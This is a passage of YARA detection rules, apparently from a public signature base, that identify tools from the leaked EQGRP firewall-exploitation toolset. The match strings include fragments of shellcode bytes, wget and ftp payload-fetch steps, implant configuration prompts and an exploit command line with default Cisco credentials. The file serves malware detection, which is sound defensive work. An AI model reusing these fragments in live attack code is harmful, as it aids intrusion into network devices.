		$x1 = "-C %s 127.0.0.1\" scripme -F -t JACKPOPIN4 '&" fullword ascii
		$x2 = "Command too long!  What the HELL are you trying to do to me?!?!  Try one smaller than %d bozo." fullword ascii
		$x3 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
		$x4 = "Error from ourtn, did not find keys=target in tn.spayed" fullword ascii
		$x5 = "ourtn -d -D %s -W 127.0.0.1:%d  -i %s -p %d %s %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 700KB and 1 of them ) or ( all of them )
}

rule EQGRP_installdate
{
	meta:
		description = "Detects tool from EQGRP toolset - file installdate.pl"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "029b1213-1206-5b7c-bd72-93239a23fe8a"

	strings:
		$x1 = "#Provide hex or EP log as command-line argument or as input" fullword ascii
		$x2 = "print \"Gimme hex: \";" fullword ascii
		$x3 = "if ($line =~ /Reg_Dword:  (\\d\\d:\\d\\d:\\d\\d.\\d+ \\d+ - )?(\\S*)/) {" fullword ascii
		$s1 = "if ($_ =~ /InstallDate/) {" fullword ascii
		$s2 = "if (not($cmdInput)) {" fullword ascii
		$s3 = "print \"$hex in decimal=$dec\\n\\n\";" fullword ascii

	condition:
		filesize < 2KB and ( 1 of ( $x* ) or 3 of them )
}

rule EQGRP_teflondoor
{
	meta:
		description = "Detects tool from EQGRP toolset - file teflondoor.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "188f9ef1-5524-50be-ac62-91cb9726b155"

	strings:
		$x1 = "%s: abort.  Code is %d.  Message is '%s'" fullword ascii
		$x2 = "%s: %li b (%li%%)" fullword ascii
		$s1 = "no winsock" fullword ascii
		$s2 = "%s: %s file '%s'" fullword ascii
		$s3 = "peer: connect" fullword ascii
		$s4 = "read: write" fullword ascii
		$s5 = "%s: done!" fullword ascii
		$s6 = "%s: %li b" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 1 of ( $x* ) and 3 of them
}

rule EQGRP_durablenapkin_solaris_2_0_1
{
	meta:
		description = "Detects tool from EQGRP toolset - file durablenapkin.solaris.2.0.1.1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "7b49a26d-9ee3-5aff-93fc-509239daef28"

	strings:
		$s1 = "recv_ack: %s: Service not supplied by provider" fullword ascii
		$s2 = "send_request: putmsg \"%s\": %s" fullword ascii
		$s3 = "port undefined" fullword ascii
		$s4 = "recv_ack: %s getmsg: %s" fullword ascii
		$s5 = ">> %d -- %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 40KB and 2 of them )
}

rule EQGRP_teflonhandle
{
	meta:
		description = "Detects tool from EQGRP toolset - file teflonhandle.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "4d82cc41-3777-5f8c-9392-aca69e6ed781"

	strings:
		$s1 = "%s [infile] [outfile] /k 0x[%i character hex key] </g>" fullword ascii
		$s2 = "File %s already exists.  Overwrite? (y/n) " fullword ascii
		$s3 = "Random Key : 0x" fullword ascii
		$s4 = "done (%i bytes written)." fullword ascii
		$s5 = "%s --> %s..." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and 2 of them
}

rule EQGRP_false
{
	meta:
		description = "Detects tool from EQGRP toolset - file false.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "3a68790b-38fc-570b-8b19-c5478cdd2842"

	strings:
		$s1 = { 00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
			00 25 6C 75 2E 25 6C 75 2E 25 6C 75 2E 25 6C 75
			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
			00 25 32 2E 32 58 20 00 00 0A 00 00 00 25 64 20
			2D 20 25 64 20 25 64 0A 00 25 64 0A 00 25 64 2E
			0A 00 00 00 00 25 64 2E 0A 00 00 00 00 25 64 2E
			0A 00 00 00 00 25 64 20 2D 20 25 64 0A 00 00 00
			00 25 64 20 2D 20 25 64 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and $s1
}

rule EQGRP_dn_1_0_2_1
{
	meta:
		description = "Detects tool from EQGRP toolset - file dn.1.0.2.1.linux"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "24b5fb51-2463-56ef-818a-949b4b3bbf5b"

	strings:
		$s1 = "Valid commands are: SMAC, DMAC, INT, PACK, DONE, GO" fullword ascii
		$s2 = "invalid format suggest DMAC=00:00:00:00:00:00" fullword ascii
		$s3 = "SMAC=%02x:%02x:%02x:%02x:%02x:%02x" fullword ascii
		$s4 = "Not everything is set yet" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 30KB and 2 of them )
}

rule EQGRP_morel
{
	meta:
		description = "Detects tool from EQGRP toolset - file morel.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		hash1 = "a9152e67f507c9a179bb8478b58e5c71c444a5a39ae3082e04820a0613cd6d9f"
		id = "e741b727-0e41-53d0-832c-df7f4ea7964a"

	strings:
		$s1 = "%d - %d, %d" fullword ascii
		$s2 = "%d - %lu.%lu %d.%lu" fullword ascii
		$s3 = "%d - %d %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them )
}

rule EQGRP_bc_parser
{
	meta:
		description = "Detects tool from EQGRP toolset - file bc-parser"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		hash1 = "879f2f1ae5d18a3a5310aeeafec22484607649644e5ecb7d8a72f0877ac19cee"
		id = "ed4523de-b126-503a-83bd-aafd8533b0e5"

	strings:
		$s1 = "*** Target may be susceptible to FALSEMOREL      ***" fullword ascii
		$s2 = "*** Target is susceptible to FALSEMOREL          ***" fullword ascii

	condition:
		uint16( 0 ) == 0x457f and 1 of them
}

rule EQGRP_1212
{
	meta:
		description = "Detects tool from EQGRP toolset - file 1212.pl"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "428fed4f-df5c-5fc2-ac4b-4dea69ea4f2d"

	strings:
		$s1 = "if (!(($srcip,$dstip,$srcport,$dstport) = ($line=~/^([a-f0-9]{8})([a-f0-9]{8})([a-f0-9]{4})([a-f0-9]{4})$/)))" fullword ascii
		$s2 = "$ans=\"$srcip:$srcport -> $dstip:$dstport\";" fullword ascii
		$s3 = "return \"ERROR:$line is not a valid port\";" fullword ascii
		$s4 = "$dstport=hextoPort($dstport);" fullword ascii
		$s5 = "sub hextoPort" fullword ascii
		$s6 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii

	condition:
		filesize < 6KB and 4 of them
}

rule EQGRP_1212_dehex
{
	meta:
		description = "Detects tool from EQGRP toolset - from files 1212.pl, dehex.pl"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-15"
		score = 75
		id = "2cc375e6-2bff-5623-b86c-a6413f736c42"

	strings:
		$s1 = "return \"ERROR:$line is not a valid address\";" fullword ascii
		$s2 = "print \"ERROR: the filename or hex representation needs to be one argument try using \\\"'s\\n\";" fullword ascii
		$s3 = "push(@octets,$byte_table{$tempi});" fullword ascii
		$s4 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
		$s5 = "print hextoIP($ARGV[0]);" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 6KB and ( 5 of ( $s* ) ) ) or ( all of them )
}

rule install_get_persistent_filenames
{
	meta:
		description = "EQGRP Toolset Firewall - file install_get_persistent_filenames"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "4a50ec4bf42087e932e9e67e0ea4c09e52a475d351981bb4c9851fda02b35291"
		id = "cf74b479-4b78-537a-878c-2f3ce004b775"

	strings:
		$s1 = "Generates the persistence file name and prints it out." fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and all of them )
}

rule EQGRP_create_dns_injection
{
	meta:
		description = "EQGRP Toolset Firewall - file create_dns_injection.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "488f3cc21db0688d09e13eb85a197a1d37902612c3e302132c84e07bc42b1c32"
		id = "ef358ca6-ebd8-5d08-944b-f1fcd112f1f3"

	strings:
		$s1 = "Name:   A hostname: 'host.network.com', a decimal numeric offset within" fullword ascii
		$s2 = " www.badguy.net,CNAME,1800,host.badguy.net \\\\" ascii

	condition:
		1 of them
}

rule EQGRP_screamingplow
{
	meta:
		description = "EQGRP Toolset Firewall - file screamingplow.sh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "c7f4104c4607a03a1d27c832e1ebfc6ab252a27a1709015b5f1617b534f0090a"
		id = "cb535ef0-e3ea-54cc-9082-3d63cc96d93a"

	strings:
		$s1 = "What is the name of your PBD:" fullword ascii
		$s2 = "You are now ready for a ScreamPlow" fullword ascii

	condition:
		1 of them
}

rule EQGRP_MixText
{
	meta:
		description = "EQGRP Toolset Firewall - file MixText.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "e4d24e30e6cc3a0aa0032dbbd2b68c60bac216bef524eaf56296430aa05b3795"
		id = "99b06100-8a05-5c22-8b7d-ed451d5f4e81"

	strings:
		$s1 = "BinStore enabled implants." fullword ascii

	condition:
		1 of them
}

rule EQGRP_tunnel_state_reader
{
	meta:
		description = "EQGRP Toolset Firewall - file tunnel_state_reader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "49d48ca1ec741f462fde80da68b64dfa5090855647520d29e345ef563113616c"
		id = "e48c9482-eae5-5c34-b7b2-502d0252f4a0"

	strings:
		$s1 = "Active connections will be maintained for this tunnel. Timeout:" fullword ascii
		$s5 = "%s: compatible with BLATSTING version 1.2" fullword ascii

	condition:
		1 of them
}

rule EQGRP_payload
{
	meta:
		description = "EQGRP Toolset Firewall - file payload.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "21bed6d699b1fbde74cbcec93575c9694d5bea832cd191f59eb3e4140e5c5e07"
		id = "949cb68b-e384-578c-a906-a4d9234dc668"

	strings:
		$s1 = "can't find target version module!" fullword ascii
		$s2 = "class Payload:" fullword ascii

	condition:
		all of them
}

rule EQGRP_eligiblecandidate
{
	meta:
		description = "EQGRP Toolset Firewall - file eligiblecandidate.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "c4567c00734dedf1c875ecbbd56c1561a1610bedb4621d9c8899acec57353d86"
		id = "e084b051-4aa1-54b2-9f56-69db386b46d6"

	strings:
		$o1 = "Connection timed out. Only a problem if the callback was not received." fullword ascii
		$o2 = "Could not reliably detect cookie. Using 'session_id'..." fullword ascii
		$c1 = "def build_exploit_payload(self,cmd=\"/tmp/httpd\"):" fullword ascii
		$c2 = "self.build_exploit_payload(cmd)" fullword ascii

	condition:
		1 of them
}

rule EQGRP_BUSURPER_2211_724
{
	meta:
		description = "EQGRP Toolset Firewall - file BUSURPER-2211-724.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "d809d6ff23a9eee53d2132d2c13a9ac5d0cb3037c60e229373fc59a4f14bc744"
		id = "d109210e-14df-5b90-a496-fa8a2454126b"

	strings:
		$s1 = ".got_loader" fullword ascii
		$s2 = "_start_text" ascii
		$s3 = "IMPLANT" fullword ascii
		$s4 = "KEEPGOING" fullword ascii
		$s5 = "upgrade_implant" fullword ascii

	condition:
		all of them
}

rule EQGRP_networkProfiler_orderScans
{
	meta:
		description = "EQGRP Toolset Firewall - file networkProfiler_orderScans.sh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "ea986ddee09352f342ac160e805312e3a901e58d2beddf79cd421443ba8c9898"
		id = "2d48df0c-f950-5bb6-8d3e-77c2f970eb57"

	strings:
		$x1 = "Unable to save off predefinedScans directory" fullword ascii
		$x2 = "Re-orders the networkProfiler scans so they show up in order in the LP" fullword ascii

	condition:
		1 of them
}

rule EQGRP_epicbanana_2_1_0_1
{
	meta:
		description = "EQGRP Toolset Firewall - file epicbanana_2.1.0.1.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "4b13cc183c3aaa8af43ef3721e254b54296c8089a0cd545ee3b867419bb66f61"
		id = "cc3346bd-0347-5cf3-b946-5c017d68d93e"

	strings:
		$s1 = "failed to create version-specific payload" fullword ascii
		$s2 = "(are you sure you did \"make [version]\" in versions?)" fullword ascii

	condition:
		1 of them
}

rule EQGRP_sniffer_xml2pcap
{
	meta:
		description = "EQGRP Toolset Firewall - file sniffer_xml2pcap"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "f5e5d75cfcd86e5c94b0e6f21bbac886c7e540698b1556d88a83cc58165b8e42"
		id = "c284ac58-923c-5c34-b420-e87797915233"

	strings:
		$x1 = "-s/--srcip <sourceIP>  Use given source IP (if sniffer doesn't collect source IP)" fullword ascii
		$x2 = "convert an XML file generated by the BLATSTING sniffer module into a pcap capture file." fullword ascii

	condition:
		1 of them
}

rule EQGRP_BananaAid
{
	meta:
		description = "EQGRP Toolset Firewall - file BananaAid"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "7a4fb825e63dc612de81bc83313acf5eccaa7285afc05941ac1fef199279519f"
		id = "bdd3ce51-1809-5b2f-9c7e-6c0b056d022b"

	strings:
		$x1 = "(might have to delete key in ~/.ssh/known_hosts on linux box)" fullword ascii
		$x2 = "scp BGLEE-" ascii
		$x3 = "should be 4bfe94b1 for clean bootloader version 3.0; " fullword ascii
		$x4 = "scp <configured implant> <username>@<IPaddr>:onfig" fullword ascii

	condition:
		1 of them
}

rule EQGRP_bo
{
	meta:
		description = "EQGRP Toolset Firewall - file bo"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "aa8b363073e8ae754b1836c30f440d7619890ded92fb5b97c73294b15d22441d"
		id = "6aa71528-3ce6-5597-bb1a-e44cff3856d6"

	strings:
		$s1 = "ERROR: failed to open %s: %d" fullword ascii
		$s2 = "__libc_start_main@@GLIBC_2.0" ascii
		$s3 = "serial number: %s" fullword ascii
		$s4 = "strerror@@GLIBC_2.0" fullword ascii
		$s5 = "ERROR: mmap failed: %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 20KB and all of them )
}

rule EQGRP_SecondDate_2211
{
	meta:
		description = "EQGRP Toolset Firewall - file SecondDate-2211.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "2337d0c81474d03a02c404cada699cf1b86c3c248ea808d4045b86305daa2607"
		id = "00951270-6189-58b6-8b64-422c4ab15ebe"

	strings:
		$s1 = "SD_processControlPacket" fullword ascii
		$s2 = "Encryption_rc4SetKey" fullword ascii
		$s3 = ".got_loader" fullword ascii
		$s4 = "^GET.*(?:/ |\\.(?:htm|asp|php)).*\\r\\n" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 200KB and all of them )
}

rule EQGRP_config_jp1_UA
{
	meta:
		description = "EQGRP Toolset Firewall - file config_jp1_UA.pl"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "2f50b6e9891e4d7fd24cc467e7f5cfe348f56f6248929fec4bbee42a5001ae56"
		id = "947e6f90-4eb4-5241-9819-677cee0c15d8"

	strings:
		$x1 = "This program will configure a JETPLOW Userarea file." fullword ascii
		$x2 = "Error running config_implant." fullword ascii
		$x3 = "NOTE:  IT ASSUMES YOU ARE OPERATING IN THE INSTALL/LP/JP DIRECTORY. THIS ASSUMPTION " fullword ascii
		$x4 = "First IP address for beacon destination [127.0.0.1]" fullword ascii

	condition:
		1 of them
}

rule EQGRP_userscript
{
	meta:
		description = "EQGRP Toolset Firewall - file userscript.FW"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "5098ff110d1af56115e2c32f332ff6e3973fb7ceccbd317637c9a72a3baa43d7"
		id = "c6c1b70e-437f-50e7-9055-b943a1a62e6c"

	strings:
		$x1 = "Are you sure? Don't forget that NETSCREEN firewalls require BANANALIAR!! " fullword ascii

	condition:
		1 of them
}

rule EQGRP_BBALL_M50FW08_2201
{
	meta:
		description = "EQGRP Toolset Firewall - file BBALL_M50FW08-2201.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "80c0b68adb12bf3c15eff9db70a57ab999aad015da99c4417fdfd28156d8d3f7"
		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"

	strings:
		$s1 = ".got_loader" fullword ascii
		$s2 = "LOADED" fullword ascii
		$s3 = "pageTable.c" fullword ascii
		$s4 = "_start_text" ascii
		$s5 = "handler_readBIOS" fullword ascii
		$s6 = "KEEPGOING" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 40KB and 5 of ( $s* ) )
}

rule EQGRP_BUSURPER_3001_724
{
	meta:
		description = "EQGRP Toolset Firewall - file BUSURPER-3001-724.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "6b558a6b8bf3735a869365256f9f2ad2ed75ccaa0eefdc61d6274df4705e978b"
		id = "006877e9-1e73-5a27-8b3a-bca3513a2035"

	strings:
		$s1 = "IMPLANT" fullword ascii
		$s2 = "KEEPGOING" fullword ascii
		$s3 = "upgrade_implant" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 200KB and 2 of them ) or ( all of them )
}

rule EQGRP_workit
{
	meta:
		description = "EQGRP Toolset Firewall - file workit.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		modified = "2023-01-27"
		hash1 = "fb533b4d255b4e6072a4fa2e1794e38a165f9aa66033340c2f4f8fd1da155fac"
		id = "b582f990-5bd5-592d-a7c0-475fdfffc38c"

	strings:
		$s1 = "macdef init > /tmp/.netrc;" fullword ascii
		$s2 = "/usr/bin/wget http://" ascii
		$s3 = "HOME=/tmp ftp" fullword ascii
		$s4 = " >> /tmp/.netrc;" fullword ascii
		$s5 = "/usr/rapidstream/bin/tftp" fullword ascii
		$s6 = "created shell_command:" fullword ascii
		$s7 = "rm -f /tmp/.netrc;" fullword ascii
		$s8 = "echo quit >> /tmp/.netrc;" fullword ascii
		$s9 = "echo binary >> /tmp/.netrc;" fullword ascii
		$s10 = "chmod 600 /tmp/.netrc;" fullword ascii
		$s11 = "created cli_command:" fullword ascii

	condition:
		6 of them
}

rule EQGRP_tinyhttp_setup
{
	meta:
		description = "EQGRP Toolset Firewall - file tinyhttp_setup.sh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "3d12c83067a9f40f2f5558d3cf3434bbc9a4c3bb9d66d0e3c0b09b9841c766a0"
		id = "71dcc48f-f551-5596-9f03-dbbae470a62b"

	strings:
		$x1 = "firefox http://127.0.0.1:8000/$_name" fullword ascii
		$x2 = "What is the name of your implant:" fullword ascii
		$x3 = "killall thttpd" fullword ascii
		$x4 = "copy http://<IP>:80/$_name flash:/$_name" fullword ascii

	condition:
		( uint16( 0 ) == 0x2123 and filesize < 2KB and 1 of ( $x* ) ) or ( all of them )
}

rule EQGRP_shellcode
{
	meta:
		description = "EQGRP Toolset Firewall - file shellcode.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "ac9decb971dd44127a6ca0d35ac153951f0735bb4df422733046098eca8f8b7f"
		id = "d923c1de-c6eb-511f-ae1f-bf3ac6e0eae8"

	strings:
		$s1 = "execute_post = '\\xe8\\x00\\x00\\x00\\x00\\x5d\\xbe\\xef\\xbe\\xad\\xde\\x89\\xf7\\x89\\xec\\x29\\xf4\\xb8\\x03\\x00\\x00\\x00" ascii
		$s2 = "tiny_exec = '\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00" ascii
		$s3 = "auth_id = '\\x31\\xc0\\xb0\\x03\\x31\\xdb\\x89\\xe1\\x31\\xd2\\xb6\\xf0\\xb2\\x0d\\xcd\\x80\\x3d\\xff\\xff\\xff\\xff\\x75\\x07" ascii
		$c1 = { e8 00 00 00 00 5d be ef be ad de 89 f7 89 ec 29 f4 b8 03 00 00 00 }
		$c3 = { 31 c0 b0 03 31 db 89 e1 31 d2 b6 f0 b2 0d cd 80 3d ff ff ff ff 75 07 }

	condition:
		1 of them
}

rule EQGRP_EPBA
{
	meta:
		description = "EQGRP Toolset Firewall - file EPBA.script"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "53e1af1b410ace0934c152b5df717d8a5a8f5fdd8b9eb329a44d94c39b066ff7"
		id = "5159c2f4-20b7-590d-b216-b3468c26e459"

	strings:
		$x1 = "./epicbanana_2.0.0.1.py -t 127.0.0.1 --proto=ssh --username=cisco --password=cisco --target_vers=asa804 --mem=NA -p 22 " fullword ascii
		$x2 = "-t TARGET_IP, --target_ip=TARGET_IP -- Either 127.0.0.1 or Win Ops IP" fullword ascii
		$x3 = "./bride-1100 --lp 127.0.0.1 --implant 127.0.0.1 --sport RHP --dport RHP" fullword ascii
		$x4 = "--target_vers=TARGET_VERS    target Pix version (pix712, asa804) (REQUIRED)" fullword ascii
		$x5 = "-p DEST_PORT, --dest_port=DEST_PORT defaults: telnet=23, ssh=22 (optional) - Change to LOCAL redirect port" fullword ascii
		$x6 = "this operation is complete, BananaGlee will" fullword ascii
		$x7 = "cd /current/bin/FW/BGXXXX/Install/LP" fullword ascii

	condition:
		( uint16( 0 ) == 0x2023 and filesize < 7KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule EQGRP_BPIE
{
	meta:
		description = "EQGRP Toolset Firewall - file BPIE-2201.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "697e80cf2595c85f7c931693946d295994c55da17a400f2c9674014f130b4688"
		id = "a73f0216-3994-5ee6-8a8c-cbcc1279898e"

	strings:
		$s1 = "profProcessPacket" fullword ascii
		$s2 = ".got_loader" fullword ascii
		$s3 = "getTimeSlotCmdHandler" fullword ascii
		$s4 = "getIpIpCmdHandler" fullword ascii
		$s5 = "LOADED" fullword ascii
		$s6 = "profStartScan" fullword ascii
		$s7 = "tmpData.1" fullword ascii
		$s8 = "resetCmdHandler" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 70KB and 6 of ( $s* ) )
}

rule EQGRP_jetplow_SH
{
	meta:
		description = "EQGRP Toolset Firewall - file jetplow.sh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "ee266f84a1a4ccf2e789a73b0a11242223ed6eba6868875b5922aea931a2199c"
		id = "e7780540-29c9-5827-8ac0-a685d9ba8a5f"

	strings:
		$s1 = "cd /current/bin/FW/BANANAGLEE/$bgver/Install/LP/jetplow" fullword ascii
		$s2 = "***** Please place your UA in /current/bin/FW/OPS *****" fullword ascii
		$s3 = "ln -s ../jp/orig_code.bin orig_code_pixGen.bin" fullword ascii
		$s4 = "*****             Welcome to JetPlow              *****" fullword ascii

	condition:
		1 of them
}

rule EQGRP_BBANJO
{
	meta:
		description = "EQGRP Toolset Firewall - file BBANJO-3011.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "f09c2f90464781a08436321f6549d350ecef3d92b4f25b95518760f5d4c9b2c3"
		id = "81af4769-7007-51f1-9569-bc370618b4ff"

	strings:
		$s1 = "get_lsl_interfaces" fullword ascii
		$s2 = "encryptFC4Payload" fullword ascii
		$s3 = ".got_loader" fullword ascii
		$s4 = "beacon_getconfig" fullword ascii
		$s5 = "LOADED" fullword ascii
		$s6 = "FormBeaconPacket" fullword ascii
		$s7 = "beacon_reconfigure" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 50KB and all of them )
}

rule EQGRP_BPATROL_2201
{
	meta:
		description = "EQGRP Toolset Firewall - file BPATROL-2201.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "aa892750b893033eed2fedb2f4d872f79421174eb217f0c34a933c424ae66395"
		id = "864a346c-e8aa-5c66-9867-faccb14b8bee"

	strings:
		$s1 = "dumpConfig" fullword ascii
		$s2 = "getstatusHandler" fullword ascii
		$s3 = ".got_loader" fullword ascii
		$s4 = "xtractdata" fullword ascii
		$s5 = "KEEPGOING" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 40KB and all of them )
}

rule EQGRP_extrabacon
{
	meta:
		description = "EQGRP Toolset Firewall - file extrabacon_1.1.0.1.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
		hash1 = "59d60835fe200515ece36a6e87e642ee8059a40cb04ba5f4b9cce7374a3e7735"
		id = "79b998ef-e548-5038-b8ad-da1abf362e7f"

	strings:
		$x1 = "To disable password checking on target:" fullword ascii
		$x2 = "[-] target is running" fullword ascii
		$x3 = "[-] problem importing version-specific shellcode from" fullword ascii
		$x4 = "[+] importing version-specific shellcode" fullword ascii
		$s5 = "[-] unsupported target version, abort" fullword ascii

	condition:
		1 of them
}

rule EQGRP_sploit_py
{
	meta:
		description = "EQGRP Toolset Firewall - file sploit.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research"
		date = "2016-08-16"
